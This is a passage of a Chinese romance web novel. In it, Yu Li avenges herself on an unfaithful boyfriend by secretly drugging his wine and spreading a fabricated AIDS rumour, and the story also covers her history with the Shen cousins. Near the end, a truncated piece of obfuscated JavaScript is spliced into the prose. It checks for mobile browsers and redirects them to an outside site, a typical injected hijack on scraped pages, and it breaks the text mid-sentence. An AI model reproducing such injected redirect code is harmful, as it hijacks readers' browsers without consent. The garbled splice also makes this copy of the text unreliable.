会议围绕许氏旗下蛋糕品牌美味多下个月的周年庆,半个多小时就结束了。 喻梨回到办公室,助理小尤敲她门,给她汇报了最近手上几个项目的进展,最后提到,姜北最近一直在找她,电话已经打到她这儿来。 喻梨最近太忙,这才想起自己那个劈腿的男朋友,想了想,给姜北回了个电话。 “宝贝儿,你最近去哪儿了?”姜北的声音一如既往的黏糊,仿佛两个人的热恋期。 搁以前,喻梨还觉得挺甜的,现在就有点反胃,声音冷淡:“出差,你知道我很忙。” 姜北还挺委屈的:“你忙也不能不接我电话啊,谁家女朋友跟你一样,动不动消失大半个月。” 喻梨就觉得烦,姜北怎么这么能演呢:“我不上班,你养我?” “养啊,宝贝,我保证把你养得白白胖胖的,好不好?”姜北一点不犹豫的跟她甜言蜜语。 喻梨差点儿快吐了。 但姜北顺势约她晚上吃饭,她也没拒绝。 喻梨应约之前,给陆哲发信息:“上次让你帮我查的,姜北最近身边的的模特,你帮我查没有?” 不到两分钟,陆哲回他信息:“他最近身边有两个,你指哪一个?” 喻梨深吸一口气,她知道姜北的圈子乱,但她冷了他两个星期,姜北能同时交往两个,也是牛逼的时间管理大师了。 “都发我。” 陆哲果然给她推了两份资料过来,清一色网红脸,大胸嫩模,不仔细看,跟双胞胎似的。 喻梨挑了一个加对方微信,启动手刹。 到餐厅停车场时,对方终于通过。 喻梨一言不发的给对方转了5000打招呼。 对方被她砸懵了:“?” 喻梨没回复,再抬眼皮时,看见餐厅里姜北跟她招手。 姜北有张挺好看的脸,冷白的皮肤,五官清晰明朗,撇开他是根脏黄瓜的事实,给人的感觉很像时下流行的忠犬奶狗型男友。 最浓情蜜意的时候,喻梨出差回来,累得不行,喜欢窝在这个笑起来温暖明媚的男友怀里,喝喝小酒,看看电影,有种微醺的放松感。 但现在,光是坐在他对面吃饭,都十分反胃。 偏偏姜北还在絮絮叨叨的叙述这半个多月的思念。 喻梨心不在焉的听,已经在跟小模特发信息,表明自己的身份。 对方很无所谓,说自己跟姜北玩玩,要是她介意,看在她给的5000块钱份儿上,可以快速消失。 不用,喻梨说,你可以跟他多玩玩。 对方:“.……” 喻梨简短表达了一下自己的想法。 对方:【!!!我疯了,我还要在这行混的】 【你考虑一下】喻梨一边发信息,一边优雅喝水,【我比姜北有钱】 【也比他有资源】 “喻梨!”对面姜北终于有点受不了她,“跟我吃个饭你也在跟别人聊天,你到底有没有在意过我!” 喻梨撩起眼皮,扣上手机,掐着嗓音,娇滴滴的:“工作嘛,你知道我这行,随时要回复客户信息的。” 姜北脸色好看了点,又重复一遍:“我朋友约我们待会儿去酒吧坐坐,一起?” “嗯嗯。”喻梨乖巧点头。 姜北的那点气就顺了,喻梨不喜欢参加他朋友的局,也不喜欢他去,但是今天很给面子。而且喻梨虽然不是那种顶尖的漂亮,但她乖起来可爱的要命,非常能满足男性的占有欲。 他抬手,想揉一把喻梨的头,被喻梨躲开:“去洗手。” 姜北:“.……” “谁要吃饭被你揉脑袋,有油渍。”喻梨娇里娇气。 姜北就好脾气的真的去洗手间。 趁他去洗手间的功夫,喻梨将包包里的一点粉末拿出来,放进姜北喝的红酒里。 她仗着两人位置比较偏僻,做得很随意,一点不避讳人,放完,还晃了晃酒杯,但很快察觉到一道视线。 隔了两张桌子,沈廷屹的目光一瞬不瞬的向她投掷过来,微微蹙着眉,显然将她的动作尽收眼底。 喻梨:“.……” 沈廷屹似乎也在跟人吃饭,对面坐着一位穿着打扮很端庄的女孩,一看就是那种家教良好的姑娘。 干坏事,被人当场抓包,喻梨一点也没不好意思,反而瞪了沈廷屹一眼,冲他做了一个封嘴的手势。 沈廷屹确实不怎么管闲事,冷淡的收回目光。 姜北回来时,沈廷屹那里已经空了,喻梨跟他说:“我去趟洗手间,你把酒喝完我们就出发,最讨厌人浪费。” 姜北见她忽然要去洗手间,还有点茫然。 沈廷屹果然在洗手间附近吸烟。 他抽烟的姿势不甚娴熟,背脊微微弯曲,落括闲散的姿势,衬衫领口松了两颗,隐约能窥见内里诱人的肌理。 喻梨磨磨蹭蹭的洗了个手。 又磨磨蹭蹭的挪到他身边,大胆的:“沈医生,男女朋友的一点小情趣,你应该不care吧?” 喻梨觉得,她最近做坏事,老是被抓包,还两次都是沈廷屹,也忒倒霉了。 沈廷屹点了一半的烟头随手往旁边的公共烟灰缸捻了捻,眸光自上而下,先从她小腹扫过,又落在她脸上,有些玩味的挤出两个字:“情趣?” 喻梨:“.……” “那你挺野的。”沈廷屹扯了一下唇角,抬腿,没再搭理她。 晚上,喻梨跟姜北的一群哥们儿泡吧。 喻梨把地址也给了那个女模特。 一整晚,姜北就表现得十分心不在焉,不时刷刷手机,又去了三次厕所,每次时间都还拖挺长的。 第三次姜北回来时,听见包厢里一堆朋友在讨论喻梨捡到药瓶。 “什么药瓶?”姜北拿着手机一屁股坐到喻梨身边。 “就刚才,我走廊上捡到一个包,本来想打开看看是谁的,结果发现包里的药瓶,居然是治疗艾滋的。” “草!也不知道是哪个碧池的,md,这家酒吧以后不能泡了!” “能查出来是谁的吗?” “也找不出来啊,待会儿让老板查查监控吧,得把人逮出来。” 姜北瞅了一眼那款女包,仿佛想到什么,脸色发白,被某种恐惧替代,逐渐开始不自然。 “MD,太恶心了,艾滋病早期什么症状啊。”都是一群玩咖,有的已经开始对号入座了。 “刚搜索了一下,前期会腹泻、高烧、恶心、呕吐……” 今晚腹泻,去厕所拉了三次的姜北:“……” 那天晚上,姜北送喻梨回去,两个人都喝了酒,请的代驾,坐在后排。 喻梨一边漫不经心的刷着手机玩,一边感觉姜北的身体都在发抖。 啧,也就这点出息,喻梨想。 下车时,她仿佛压根没注意到男朋友情绪,甜甜的跟男朋友说了再见跟晚安。 沈廷屹夜跑回来。 在小区门口碰见笑容甜蜜的喻梨,他想起很多年前,喻大小姐捉弄人的时候,也是用这样俏皮又妩媚的笑意挡住眼底的恶意。 喻梨转身时看见一声运动装的沈廷屹,下意识抬起腕表看了眼时间,已经半夜12点,沈廷屹这运动习惯,还挺特别的。 两个人陆续进入小区,进入同一栋楼,同一部电梯。 没有谁先开口寒暄。 对于喻梨这种社牛来说,自然是十分不习惯的。 想了想,喻梨忽然打破尴尬:“沈医生,你是医生,知不知道有什么药吃了能让人发热,反复发烧啊?” 沈廷屹淡淡瞥她一眼,黑色运动服包裹着他遒劲的四肢,身上还带着运动后些许薄汗:“哪种sao?”薄唇把那个字咬得很刻意。 喻梨:“.……” 沈廷屹嗤笑一声:“悠着点儿,也不怕撑死。” 喻梨:“.……” 结合下午喻梨胡乱找的借口,沈廷屹误会她又在跟他要什么情趣药物,逻辑上似乎也没什么毛病。 但喻梨一张脸还是充血,涨得通红。 她在沈廷屹眼里,该有多欲求不满啊…… 然而她分明只是想让姜北发个烧,符合某种病症而已…… 没隔几天,圈内流言四起,姜家那个私生子,姜老爷最疼的小儿子,有可能感染了艾滋。 沈廷屹听到这则传闻时正好跟沈砚这群太子党打球吃饭。 请客做东的正是姜家大少姜南,姜家做海外运输生意,姜南找人牵线搭桥,好容易请出沈砚这尊大佛,一整个下午伏低做小、热情谄媚,务必要将人伺候得舒舒服服。 但太谄媚也就显得太功利,太浮躁,也太卑微,姜南做得再周到,饭局上也难免被人嘲几句,提起他位置不稳,家里还有个私生子虎视眈眈的事。 姜南多喝了几杯,又被刺了几句,藏不住话,一脸的不屑:“他算个什么东西 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沈砚比沈廷屹大两岁,沈廷屹打小身体孱弱、大病小病不断,按照沈家继承人严苛培养的沈砚,对这个堂弟疼得跟什么似的,要什么给什么,就连沈廷屹固执得想学医,也是沈砚帮忙兜底,劝说沈廷屹父母的。 沈廷屹低笑:“当我小孩儿呢,哥你有事先走。” 沈砚还欲再说,喝得半醉的姜南赶紧上来:“当然是我负责把沈二少送回去,沈少,您忙您的。” 沈砚的劳斯莱斯已经开过来,司机恭敬的拉开后门,姜南谄媚得跟什么似的,非要送沈廷屹,沈砚见沈廷屹已经坐进姜南的车,不再说什么,弯腰坐入后座。 劳斯莱斯汇入车流,平稳行驶,沈砚捏了捏眉心,又有电话进来。 是顾野:“我不也是看你最近在谈海运的事么?谁能想姜家就这两个儿子,一个废了,一个还是傻的。” 沈砚将领带拆下:“我又没说什么。” “草!我看你一晚上兴致缺缺,以为你忍那傻逼一晚上,怎么的,姜南还有戏?” “生意跟谁谈不是谈,怎么我还非得找精明的给自己上点难度?” “我TM就知道你心是黑的,合着一晚上拿乔,是钓着人呢。姜南还专门问我,是不是安排得不周到,把你得罪了。” 沈砚低笑,夜色迷离,他侧脸映在窗影上,线条如简笔画,冷峻贵气。 顾野不知道又骂了句什么,恨恨挂了电话。 司机将车开到兰亭,沈砚在那里有一间豪华套房,长期包房。 电梯直达,沈砚眉心带着微微的疲惫,坤了坤脖颈,走路姿势多了几分慵懒。 长腿迈入客厅,感应灯亮起,他对光线有些敏感,仿佛觉得刺目,瞳孔微缩了一下,然而更刺目的是套房里多出的女人。 蒋静姝一袭绿色性感蕾丝裙,丝绸的质地,如水般包裹着她窈窕身段,那瓷白的肌肤仿佛也是水做的,仿佛能轻易掐出汁水来,活色生香。 偏偏她连神态都那样魅惑,怯生生、羞涩涩,赤脚往前踩了几步,嗓音含羞:“沈砚……” “我没办法了……” “喻梨那样冤枉我……” “你要我怎么自证清白……” “要不然……你验一验……”她不知道什么时候已经站在他面前,拽住他手指。 沈砚黑眸冷静幽深,单手插兜,居高临下望着面前女人。 巨大的落地窗映照出他挺拔身高,窗外,夜色灯火辉煌,窗内,与面前几近半裸的女人相比,他西装笔挺,连胸前衬衫纽扣都扣得一丝不苟,肩宽腰窄,五官精致,眼神里不见半丝情欲,明明寡情禁欲,却又莫名性感。 薄唇牵出一抹细微的弧度,他骨节分明的手指顺着她指引的方向,一点点到腰肢,肋骨、胸口,似有若无的动作,明明没有如愿以偿的露骨,却引起蒋静姝浑身颤栗…… 蒋静姝呼吸有些急促,人已经软了,任他予取予求的献祭姿态,好似掉进团团云朵里,却忽然被对方扼住下巴。 她太心急,没有看到这个男人眼底彻头彻尾的冷酷与凛冽。 沈砚从始至终眸色清浅,不染半分欲望,气息拂在她耳畔,明明那般暧昧的姿态,口吻却冷酷又残忍:“你演得太过了,方苒可没有你这么荡。” 说完,姜静姝被沈砚丢开。 姜静姝吓哆嗦了,自从接触沈砚一来,第一次见他发这么大的火。 沈砚看她那副样子,随手脱下西装扔在她没什么遮挡的上半身,抬步走过去,坐在沙发上,长腿交叠,见她还蠢在那里愣着没动,抬了抬下颌示意,用尽最后一丝涵养:“出去。” 5. 第 5 章 “蠢货!”第二天,许凤芝也骂她。 “一副好牌被你打得成烂牌,你以为沈砚是谁,是个女人脱光了往他床上躺就能嫁进沈家。”许凤芝纵横情场,多少人富商拜倒在她石榴裙下,没想到一手调教出来的继女竟然能蠢得直接脱光了勾引沈砚。 蒋静姝眼里含着泪花,委屈得要命:“是你说我长得像她初恋,沈砚对我不一样。我也是心急,要不是喻梨造谣我,沈砚最近对我不冷不热,我……我怎么会做出这种事。”想起昨晚沈砚的冷淡,她穿着睡衣被人丢出去,蒋静姝仿佛又被凌迟一遍,一下子趴在沙发上,呜呜呜的哭。 “哭什么,”许凤芝再生气,蒋静姝也是目前唯一的牌,想一想,又软了声调,拍了拍她背脊,安慰,“也不是没有收获,你不是还披着他西装回来的?” “呜呜呜……一件西装算什么,我再也不要去沈砚面前丢脸。”蒋静姝越想越伤心。 “傻妞妞,说什么胡话,妈妈好不容易把你培养出来,你自己也做了这么长的努力,受的苦,遭的罪,都忘了?” 姜静姝摸了摸自己动过刀子的脸,心里滑过一丝恐慌。 许凤芝见她态度松动,又徐徐安抚。 门口,偷听完全程的喻梨默默退了两步,悄无声息的下楼。 蒋家保姆见她刚上去就要走,很是诧异:“喻小姐,不留下吃午饭吗?” “不了。”喻梨没什么精神的说。 穿过客厅,出门要经过姜家联排别墅的小花园,花园春光明媚,阳光那样耀眼,她却仿佛从某种阴暗地带爬行出来的腐烂物,刺得她眼睛有些微微发疼。 “沈砚当然会喜欢你。” “我们梨梨这么可爱,谁不喜欢。” “梨梨,沈砚以后要接手沈家的,你既然要最优秀的那一个,那就要比别人更懂得早下手,嗯?” “真正的好的另一半,市面上从来不流通。” 谁家妈妈从小的教育不是让她好好学习,而是傍男人啊? 其实偶尔的时候,她也同情蒋静姝,她不过是缺乏母爱,想要徐风芝的爱而已。 也不知道她跟蒋静姝谁更惨点? 喻梨垂下视线,扯了扯唇,有些讽刺的想。 再没有心情见徐凤芝,喻梨驱车回家。 刚到地下停车场,看见沈廷屹抱着一个浑身是血的小孩儿冲出来,身后一窝蜂涌出很多人。 “车!车!我的车!”孩子妈妈脸色白得吓人,完全语无伦次,着急到已经完全失去思考能力,“我的车她爸爸开走了,没有车!” “坐我的,我有车!”跟下来的物业要去开车。 喻梨看他们实在着急,将车倒到沈廷屹面前:“是不是去医院?上来,快点!” 物业的车停地有点远,沈廷屹看了一眼,果断将孩子抱到后排,孩子妈妈也一并跟上来。 “你坐前面。”沈廷屹担心后排空间不够,跟孩子妈妈道,又把孩子放平安置在汽车后座,按住他伤口。 汽车驶出底下停车场,平稳汇入车流时,她往车内后视镜里看了一下,孩子已经疼得说不出话,沈廷屹似乎已经提前处理过一部分,这会儿一边按着出血口,一边夹着手机跟同事沟通,:“腹部刺伤,目前怀疑脾脏破裂,有出血口,准备手术室。” “其他地方是轻伤。 “王医生的时间呢?” “好,我们大概是……”沈廷屹说到这里,看了一眼开车的喻梨,“15分钟后到。” 他有条不紊,几句话说明清楚情况,又直接做安排,全程不见丝毫慌乱。 孩子妈妈一直哭,担心得看着后排流血不止的儿子,喻梨原本被那种紧张的气氛感染,但陡然触到沈廷屹目光,竟然莫名安心下来。 等送到门口,亏得沈廷屹提前联系,已经有医用救护床被推到门口,沈廷屹将小孩放置在上面,一群人匆匆推入急诊手术室。 喻梨深深舒出一口气。 她想了想,来都来了,去上次的妇产科医生那里又挂了一个号。 这次做了更细致的检查,小黄豆依然只是颗很小的黄豆,但喻梨忽然想好好爱护它,听医生的建议,开了一些叶酸。 做完这些,喻梨也没急着走,问了问急诊手术室的方向。 手术不是沈廷屹做,他去洗手间处理了一下带血的衬衫,发现怎么都处理不干净,想起自己的储物柜里有备用的,去儿科室转了一圈。 再回来时,正巧看见喻梨趴着在问导台那里的护士:“一个小时前有送来一个急救的小孩儿,是儿科的沈医生送过来的,是沈医生在里面抢救吗?” 护士才换了班,大约弄不懂她的问题,有些茫然。 沈廷屹几步过去,忽然开腔:“找我?” 喻梨吓一跳。 回头一看,沈廷屹换了件亚麻质地的圆领衬衫,领口处开了两颗,修长的脖颈像雨后冒出的春笋,衬着清爽朗俊的五官,整个人鲜活蓬勃。 “你还没走?”沈廷屹又问了一句。 喻梨就说:“我好不容易做件好人好事,想关心一下小朋友情况。怎么样,抢救过来了吗?”又见他换了衣服,“你这么快昨晚手术出来啦?” “不是我主刀。”沈廷屹淡淡的,“小朋友还在抢救。” “喔。”喻梨懂了。 沈砚见她眉间划过一抹失望,确实有点担心的样子,仿佛安慰:“主刀是王医生,这种急救手术他有把握,问题不大。” 喻梨便放心的点点头。 沈廷屹终于注意到她手上拧的那些营养药,眯了眯眼,黑眸沉了沉。 “喻梨,你有时间关心别人,为什么不好好处理自己的事。”口吻冷了点,整个人倏然间,又仿佛跟她疏离起来。 喻梨莫名其妙:“我什么事?” 沈廷屹喉结滚了一下,漆黑的瞳仁足足看了她三秒钟,情绪复杂,不知道她是怎么可以做到这么大咧咧的满不在乎的。 手指蜷了蜷,他忽然拽住她手腕,将她拉到旁边人少安静的楼梯通道口。 “你做了测试吗?” ”这种情况还买叶酸?你是打算生下来? “你知不知道AIDS是可以母体遗传的?” 他连珠炮的提问,像是意识到自己已经失态越界,声音克制了又克制,却依然露出些许情绪。 喻梨懵了一下,联想起最近一系列关于姜北的流言操作,又看了一眼自己手上拧的东西,很快明白沈廷屹是误会了。 大概很少见沈廷屹也有这样情绪外漏的时候,喻梨忽然觉得好笑,她就真的笑:“不是……你误会了,该从哪里跟你讲呢,首先,姜北没有AIDS……” 喻梨就把姜北劈腿,自己为了报复他的骚操作跟沈廷屹解释了一遍。 她说姜北这一个多星期吓得要死,压根不敢出门,AIDS的检测期最快也要半个月,有他受的呢。 她笑嘻嘻说炫耀自己战果时,沈廷屹的眉就皱一分,很是一言难尽。 “我还跟他闹分手了,闹到他家里去,所以他们全家现在都知道姜北有可能感染,看他那副胆战心惊、面如死灰的的样子,反正我是什么气都出了。”喻梨有点开心的说,好似自己干了这么了不起的事,终于有人分享,十分得意。 但沈廷屹看她的目光里完全没有赞扬的意思。 他想喻梨一直是这样的,张扬的、肆意的,鬼迷心窍的,无常理可言的,仿佛做什么都带着孩子气,做出再惊世骇俗的事,都是一副,你看其实我做得还不错吧,你要不要表扬我一下的样子。 沈廷屹知道自己今天已经越界,看她一眼,一句话不说,转身走了。 又一副事不关己的淡漠样。 喻梨就有点尴尬,沈廷屹也许根本不想听这些。 喻梨不好意思的摸摸鼻尖,想了想,还是追上他:“沈廷屹,你要回家吗,我可以顺路送你?” 沈廷屹根本不搭理她。 然后一连好几天,喻梨都没有怎么见到沈廷屹,她又忙着美味多周年庆策划的事,两个人其实就算同住一个小区,也很难碰到。 周末的时候,喻梨睡得迷迷糊糊,听到门铃声。 她看一眼闹钟,已经11点,挠了挠头去开门。 门口站着身姿挺拔的沈廷屹。 喻梨看一眼门口衣着得体的男人,再看一下穿睡衣的自己,果断‘砰’一声将门关上。 等她胡乱回衣帽间快速换了衣服出来,再拉开门,刚想笑眯眯说点什么,沈廷屹踢了踢门口几个礼盒:“上周那对带小孩儿的父母送的,他们没你联系方式。” 说完就走,一副不想跟她废话的架势。 喻梨就觉得沈廷屹有病,忽冷忽热的,翻了个白眼。 但他那天救小朋友的样子,还是挺帅的。 帅到让她没在徐凤芝那里找到的答案,好像都在沈廷屹哪里找到了。 晚上,喻梨去了陆哲的酒吧。 “今天玩cosplay,你今天cos纯情学妹?”赵雨浓上下打量她一眼,见喻梨浑身上下,裹得严严实实,简直跟以往的小性感风天差地别,忍不住调侃。 “让开一点儿。”喻梨没好气,踢踢她,挤进卡座,坐到陆哲旁边。 陆哲已经贱兮兮的凑过来,递给她酒:“怎么,你还在凹有可能被前男友传染,玩咖从良的人设?” “还是小陆子了解本宫。”喻梨神情甚是安慰。 陆哲乐得不行:“梨子,你可真能演,就姜北那点儿破事,本来自己瞒得严严实实的,被你到处当受害者大嘴巴转了一圈,圈里还有谁不知道的。” “要不说最损的就是她呢,谁还能损得过梨子。”赵雨浓光想一想,也挺可乐的。 仿佛为了印证两人的话似的,晚上至少有三波熟人过来有意无意的试探姜北的事儿,喻梨半遮半掩,一副一提到这个人渣就伤心的模样,更加坐实对方的猜测,大家好意安慰她,有人想拍拍她肩膀表示慰问,又仿佛怕被她传染似的,有点尴尬的收回手。 “真特么虚伪啊。”陆哲身体往下沉,头枕着双手,懒得跟躺自己家沙发似的,“已经开始把你当病毒,害怕你传染了。你说你这算不算是伤敌一千,自损八百?” 喻梨一副没所谓的模样:“可我只要想想姜北现在正窝在家里,战战兢兢、 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她声音有点低,怎么听,都透着一股可怜心酸。 赵雨浓就心软了:“算我上辈子欠你的,梨子,我尽全力帮你兜着,但要真有没兜住那天,你别怪我。” 喻梨立刻顺杆爬,窝在她肩窝里撒娇:“我就知道你最好了,浓浓。” 但赵雨浓看不到的地方,她骨指捏得微微泛白。 秀场上忽然砰了几声,室内烟火绽开。 赵雨浓不吃她那套,一巴掌将她推开:“别挡我看帅哥腹肌。” 陆哲酒吧最有名的就是男模秀,且陆哲善于推陈出新,一茬接一茬,比那些泰国所谓的网红模特秀,有过之而无不及。 赵雨浓是忠实粉丝。 摸到帅哥腹肌的赵雨浓玩嗨了,人家推什么酒她买什么,成功把自己灌醉。 最后是喻梨付的账,赵雨浓玩到扒拉着门口不肯走,还哭唧唧的念叨:“但凡你给点力,他们怎么会只在舞台上舞,那得在我房间舞。” “好好好,下次我给你包十个八个的,放你房间。”喻梨想起赵雨浓视死如归的说出拿自己职业生涯帮她兜底的模样,连她吐自己身上的事儿都不计较了,还是很耐心的哄她。 “你说的!你保证!”赵雨浓立刻来劲儿。 “我说的,我安排,你听话,乖一点。”最后好容易才找人将她乖乖送回去。 代驾帮她将车停入地下车库,喻梨有些微醺,但还是大方地递了小费,摩挲着刷脸进入电梯。 电梯在一楼停顿。 门口,沈廷屹站姿有些懒散,身上还带着薄汗,看见电梯里是她,微微打量了一眼,一时没有进来。 喻梨脑子有点懵,但还是好心帮他按住电梯:“你不进来?” 沈廷屹这才迈步。 从对方进来后,喻梨就没说话了,她隐约觉得沈廷屹忽冷忽热,让人捉摸不定,她也就懒得去琢磨。 逼仄的金属电梯空间,却忽然响起沈廷屹清朗板肃的声音:“喻梨,作为一个儿科医生,我得提醒你,孕妇不适宜喝酒。” “我身上酒味很大吗?”喻梨便嗅了一下自己肩膀,小狗似的,但其实并不觉得自己醉了,顶多微醺,“放心,我没喝多少,一点点,嘿嘿。” 沈廷屹稍稍偏头,喉结滚动,下颌微微紧绷,像是不知道可以再跟她说什么。 “谢谢你关心。沈廷屹你真的是个很好的儿科医生。”说着,喻梨笑了一下,露出颊便浅浅的酒窝。 她说这话的口吻很真诚,看他的目光也很亮堂。 像年少的时候,少女不停的缠着问他:“沈廷屹,你就告诉我沈砚在哪儿吗?好不好?嗯?你最好了!”一边说一边用用那双清澈干净的眼睛望着她,还拧着他衣袖晃了晃。 沈廷屹胸口仿佛被人挠了一下。 因此下一秒他终于还是做出不理智的事。 电梯打开,喻梨抬腿刚要走出去,被沈廷屹忽然拽住:“你真的打算生?喻梨,你有考虑过孩子以后缺失父亲的生长环境吗,还是你觉得出轨的前男友还有救,能承担起责任?” 喻梨眸光暗了一下,大概今晚被赵雨浓那番话也弄得心绪复杂,很不是滋味,过了片刻才回答:“不是我想生的……” “我是RH阴性血。”她嗓音有点低,也没有多解释,觉得沈廷屹应该能懂。 沈廷屹懂,但沈廷屹不理解,他被那种没来由的怒意裹挟,已经不只是失态,嗓音非常失望:“到底为什么把自己搞成这样?为什么要给自己选一个那样的人!” 喻梨好像没有听出他语气里包含的东西,也没有发现其实两个人的对话根本不符合那种泛泛之交的范畴,她只是说:“他最开始的时候也对我挺好的。” “真的,除了我爸爸,没人对我那么好过。”她目光放在他胸口的位置,平静的一字一句。 气氛一时静得不可思议。 沈廷屹喉头滚了滚,仿佛终于意思到自己的唐突,手指有些无意识的放开她。 6. 第 6 章 喻爸爸38岁才生的喻梨,标准的晚婚晚育。 他有多疼喻梨呢,据说他工作那样忙的一个人,喻梨出生的时候,她的喂奶工作从不假手保姆和徐凤芝,雷打不动的坚持抱着奶瓶喂喻梨。 喻梨三四岁的时候,这位父亲有一次脑袋上夹着女儿给他编头发的粉发夹,就去见领导去了,被单位里笑了很长一段时间。 喻梨家有个照顾她很长时间的保姆,对喻梨很好,小喻梨也很喜欢她,有一次喂喻梨吃饭,勺子掉地上,保姆若无其事地捡起来继续喂喻梨,被喻爸爸在监控里看到,直接开除了。 喻爸爸从政,还步步高升,喻梨在哪儿念书,都有爸爸保驾护航。 没人敢欺负她,她被宠得太过,开始欺负别人。 大多是喜欢沈砚的人,喻梨被娇养惯了,又霸道,在学校里到处放话沈砚是她的人。 如果有女生敢撩拨沈砚,她是要上门找人单挑的。 沈砚是她的人,那是10岁的喻梨就被灌输的思想。 小学四年级那年,喻梨被喻爸爸安排去师傅那里学棋,半大点孩子,正是对这个世界好奇且坐不住的年纪,小喻梨不明白疼他的爸爸为什么要让她学那种老掉牙的东西,打滚磨蹭不肯下车。 学棋的地方也旧,但在寸土寸金的闹市。青砖白瓦的小院里有棵大槐树,夏日槐树遮天蔽日,她被人拧着脖子不情不愿的扔到槐树下,一眼被对弈的两个少年吸引。 沈廷屹其实跟她一般大,但因为常年生病,个子也就跟小喻梨差不多,好在坐姿端正,可跟对面比他大两岁的沈砚比起来,显得不大够看。 沈砚那时已经很高了,背脊挺括,肩膀平直,喉结已经很凸出,侧脸沉静,显出跟这两颗小豆丁全然不一样的少年老成。 有人过来,沈砚也并不分心,反而是沈廷屹因为好奇新来的小师妹,忘了走棋,被师傅当了敲了一记:“专心,下棋最忌分心。” 喻爸爸将小屁孩拧到师傅面前:“叫师傅。” 眼看着美美的暑假就要泡汤,小喻梨宁死不屈,她是干得出撒泼打滚这种事的,小书包往青石板上一扔,半点不知羞的躺地上做拱桥:“不学,不学,我不学!” 吵吵闹闹、叽叽喳喳,比树上的知了还烦不胜烦,少年终于忍不住,严厉:“别吵!” 沈砚五官如刀刻,清隽冷冽,清凌凌,冷沁沁,带点严肃与不耐,迅速让小喻梨眼里挤出一包泪,眼见着就要嚎啕大哭。 “敢哭!”又一声。 地上的小姑娘就吓得一动不敢动,眼泪含在眼眶里,要掉不掉,一张小脸,红彤彤,粉嫩嫩,皱巴巴,憋屈成一颗鼓鼓胀胀的白包子。 我们家小梨子被我宠坏了,也就沈砚能治他,喻爸爸后来含笑道。 他步步高升,春风得意,已经到能跟沈家掌权人坐下喝茶闲聊的地步。 其实沈砚也不完全只是凶她,譬如他那时吼完她,也会耐心的走到她面前,半曲着腿,递一张手帕给她:“你要是不闹腾,给你拿好吃的,嗯?” 笑话,她喻梨这种混世魔王能被一点所谓的好吃的打发! 但是沈家的点心是真的是外面买不到的,小喻梨吃完还舔了舔小指头,意犹未尽的,再也不哭不闹,忒好哄了。 师傅不轻易收徒,尤其还是这种闹腾的小屁孩,沈砚好奇,师傅笑了笑,说小姑娘难得璞玉未雕,天然去修饰。 但后来沈砚觉得是师傅看走眼,喻梨的恶,是骨子里的,从来不加掩饰。 学棋其实每周只有一次,但喻梨从来坐不住,上蹿下跳、摸狗斗鸡,比同龄的男生还野性难驯,春天的时候,她能三两下爬到老槐树上,薅下好几串雪白花枝。 瘦弱的沈廷屹走在沈砚后面,被喻梨扔下一串花枝砸到,有些好奇地抬头,见树上小姑娘手上薅了好几把,嘴巴里还叼了一串,用一双圆溜溜的杏眼得意洋洋地瞧着他们,一开口说话,嘴里的白色花串也落了下来,图囵道:“沈砚,你上次说的槐花饼,是这个槐花做的吗?” 明明砸得是他,她却永远在跟沈砚说话。 阳光稀松,树影斑驳,少女的脸逆着光,被热气熏得微微发红,见沈砚没答,她动了动,像是想直接跳下来,沈廷屹下意识眼皮一跳,果然下一刻,少女脚下一滑,整个人从树上砸下来。 沈廷屹眼睁睁看着哥哥做了个抬手接住的动作,但到底没有接稳,被对方砸出骨折,在医院整整养了半个月。 沈家做传统实业起家,几代人积累的巨额财富,对于下一代的培养板肃严苛,沈廷屹与的沈砚从出生起,周围服务的人很多,时间从来不是自己的,一颦一笑似乎也不属于自己,小到待人接物,大到跟长辈叔伯听沈氏各项会议决策,每一步都经由大人缜密安排。 在那种密不透风的教养里,很长一段时间,沈廷屹觉得,喻梨的出现,仿佛给他刻板的生活撕开一道新奇的口子,她是那么鲜活且古怪。 沈砚养病半个月,她大约也觉得不好意思,逃课去私家病房里陪伴沈砚,捣鼓些稀奇古怪的玩意儿给沈砚解闷,又偷偷把给沈砚养伤的的营养餐吃掉,因此沈砚出院时,瘦了足足一圈,小喻梨好吃好喝,红光满面,个子好像还往上蹿了一截。 小姑娘身上充斥着诸多缺点、贪吃、占有欲强、脾气极大,脑子里总是古古怪怪的想法,但比起沈廷屹与沈砚,她的确是被纵容的那一个,不管在自己家,还是沈家,仿佛她没有害怕的人,也没什么值得顾忌的规矩与条框。 而那段时间,也的确是沈家最灰暗的日子,生意场上一定出现问题,年幼的沈廷屹隐约能听见大人们的担忧与焦虑。 喻梨的到来,是沈家生意转型的开始,天子骄子沈砚,那段时间被要求最多的,是对那个叫喻梨的小姑娘好点儿。 长辈们似乎达成了某种默契,或者沈喻两家确实结下某种隐晦的约定,从喻梨踏入棋院开始,这个姑娘正式开始跌跌撞撞跟跟在沈家下一代核心人物身边生活。 她说‘沈砚是我的’的时候,已经跟沈廷屹一起就读本市顶级学府的初中部,沈砚比他们俩大两岁,因为实在各方面出挑,是比高中部学长们还要耀眼的存在。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640694|156411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 迎新会上,喻梨目光灼灼的看着台上发言的沈砚,偷偷在沈廷屹背脊上写下沈砚的名字,得意洋洋的跟他说:“你哥,我的。” 很快,喻梨成为学校里的龙卷风,天性如此,她被大人宠得太过,又从来视规矩为无物,逃课去看爱豆的演唱会,跟男孩子们混在一起打游戏,还被学生会的沈砚抓到在学校废弃的教学楼里偷偷吸烟。 喻爸爸很忙,喻梨活成一副无人管教的样子,在学校里闯下再大的祸端,永远有一股隐秘的势力帮她解决,那股势力出自沈家,或者沈砚本人。 总有很多女孩子围在她周围,鞍前马后,捧她,逢迎她,他们这种家庭出生的孩子,从小被大人送到一年学费六位数的顶级学府,学的从来不止是枯燥无味的知识,还有累积人脉。 有沈家作为后盾,从初中到高中,喻梨一直张扬肆意。 沈廷屹那几年总是听到她很多荒唐事,层出不穷,又轰轰烈烈,好像枯燥的学习压根儿跟她没什么关系,她是风暴的中心,也是流言的对象,女孩子们学她怼天怼地的说话风格和昂贵奢侈的穿搭,男孩子们背后偷偷讨论她是酷姐。 当然也有乖的时候。 在沈砚面前。 